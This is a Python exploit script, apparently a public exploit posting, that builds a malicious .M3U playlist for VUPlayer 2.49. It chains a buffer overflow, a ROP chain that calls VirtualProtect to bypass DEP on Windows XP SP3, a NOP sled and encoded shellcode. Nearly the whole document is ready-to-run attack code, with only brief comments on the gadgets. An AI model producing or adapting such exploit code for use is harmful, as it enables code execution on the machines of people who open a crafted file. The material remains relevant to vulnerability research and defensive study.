# VUPlayer 2.49 (.M3U) Exploit(Universal buffer overflow/DEP bypass)
# Download: http://vuplayer.com/
# Tested on Wind0ws XP SP3 DEP:OptOut
# Author: Lu_c_fer ------>>> Lu_c_fer@aol.com , Twitter.com/lu_cif_er (feel free to tell me your ideas!! :))
# All the Gadgets are from APP's DLLs(I could only use the addresses that doesnt start with null)
import
struct
p
=
open
(
"Exploit_VirtualProtect.m3u"
,
"w"
)
crash
=
"\x41"
*
1012
sc
=
(
"\x89\xe1\xd9\xee\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49"
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56"
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41"
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42"
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a"
"\x48\x47\x34\x43\x30\x45\x50\x45\x50\x4c\x4b\x51\x55\x47"
"\x4c\x4c\x4b\x43\x4c\x45\x55\x42\x58\x45\x51\x4a\x4f\x4c"
"\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x51\x30\x43\x31\x4a"
"\x4b\x51\x59\x4c\x4b\x50\x34\x4c\x4b\x43\x31\x4a\x4e\x46"
"\x51\x49\x50\x4c\x59\x4e\x4c\x4d\x54\x49\x50\x42\x54\x45"
"\x57\x49\x51\x49\x5a\x44\x4d\x43\x31\x48\x42\x4a\x4b\x4c"
"\x34\x47\x4b\x50\x54\x47\x54\x45\x54\x43\x45\x4b\x55\x4c"
"\x4b\x51\x4f\x47\x54\x45\x51\x4a\x4b\x45\x36\x4c\x4b\x44"
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c"
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4c\x49\x51\x4c\x46"
"\x44\x44\x44\x48\x43\x51\x4f\x50\x31\x4a\x56\x45\x30\x50"
"\x56\x42\x44\x4c\x4b\x51\x56\x50\x30\x4c\x4b\x51\x50\x44"
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x43\x58\x45"
"\x58\x4b\x39\x4a\x58\x4d\x53\x49\x50\x42\x4a\x50\x50\x43"
"\x58\x4a\x50\x4d\x5a\x44\x44\x51\x4f\x45\x38\x4a\x38\x4b"
"\x4e\x4c\x4a\x44\x4e\x50\x57\x4b\x4f\x4d\x37\x42\x43\x43"
"\x51\x42\x4c\x42\x43\x43\x30\x41\x41"
)
#---------------------------Setting 0x00000201 into EBX----------------------------
rop
=
struct.pack(
'<L'
,
0x10015f77
)
# POP EAX # RETN
rop
+
=
struct.pack(
'<L'
,
0x5f5f01ff
)
rop
+
=
struct.pack(
'<L'
,
0x1001e453
)
# SUB EAX,5F5EFFFE # RETN 0x04
rop
+
=
struct.pack(
'<L'
,
0x1003a084
)
rop
+
=
struct.pack(
'<L'
,
0x42424242
)
rop
+
=
struct.pack(
'<L'
,
0x1001033f
)
# INC EAX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100110ff
)
# POP EBX # RETN [BASS.dll]
rop
+
=
struct.pack(
'<L'
,
0xffffffff
)
#
rop
+
=
struct.pack(
'<L'
,
0x10015ef2
)
# ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
#---------------------------Setting the pinter to the VirtualProtect into ESI----------------------------
rop
+
=
struct.pack(
'<L'
,
0x10015f77
)
# POP EAX # RETN
rop
+
=
struct.pack(
'<L'
,
0x10109270
)
# ptr to &VirtualProtect() [IAT BASSWMA.dll]
rop
+
=
struct.pack(
'<L'
,
0x1001eaf1
)
# MOV EAX,DWORD PTR DS:[EAX] # RETN [BASS.dll]
rop
+
=
struct.pack(
'<L'
,
0x10030950
)
# XCHG EAX,ESI # RETN [BASS.dll]
#---------------------------Setting 0x00000040 into EDX(*******TRUST ME IT WAS THE ONLY WAY!!! :)******)----------------------------
rop
+
=
struct.pack(
'<L'
,
0x1004041c
)
# POP EDX # RETN [BASS.dll]
rop
+
=
struct.pack(
'<L'
,
0xffffffff
)
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
rop
+
=
struct.pack(
'<L'
,
0x100332eb
)
# INC ECX # RETN
# ECX is now 0x00000040
rop
+
=
struct.pack(
'<L'
,
0x10010157
)
# POP EBP # RETN [BASS.dll]
rop
+
=
struct.pack(
'<L'
,
0x1010539f
)
# & jmp esp [BASSWMA.dll]
rop
+
=
struct.pack(
'<L'
,
0x10601007
)
# POP ECX # RETN [BASSMIDI.dll]
rop
+
=
struct.pack(
'<L'
,
0x101087c3
)
# &Writable location [BASSWMA.dll]
rop
+
=
struct.pack(
'<L'
,
0x100190b0
)
# POP EDI # RETN [BASS.dll]
rop
+
=
struct.pack(
'<L'
,
0x1003a084
)
# RETN (ROP NOP) [BASS.dll]
rop
+
=
struct.pack(
'<L'
,
0x10015fe7
)
# POP EAX # RETN [BASS.dll]
rop
+
=
struct.pack(
'<L'
,
0x90909090
)
# &Writable location
rop
+
=
struct.pack(
'<L'
,
0x1001d7a5
)
# PUSHAD # RETN [BASS.dll]
nop
=
"\x90"
*
40
payload
=
crash
+
rop
+
nop
+
sc
p.write(payload)
p.close()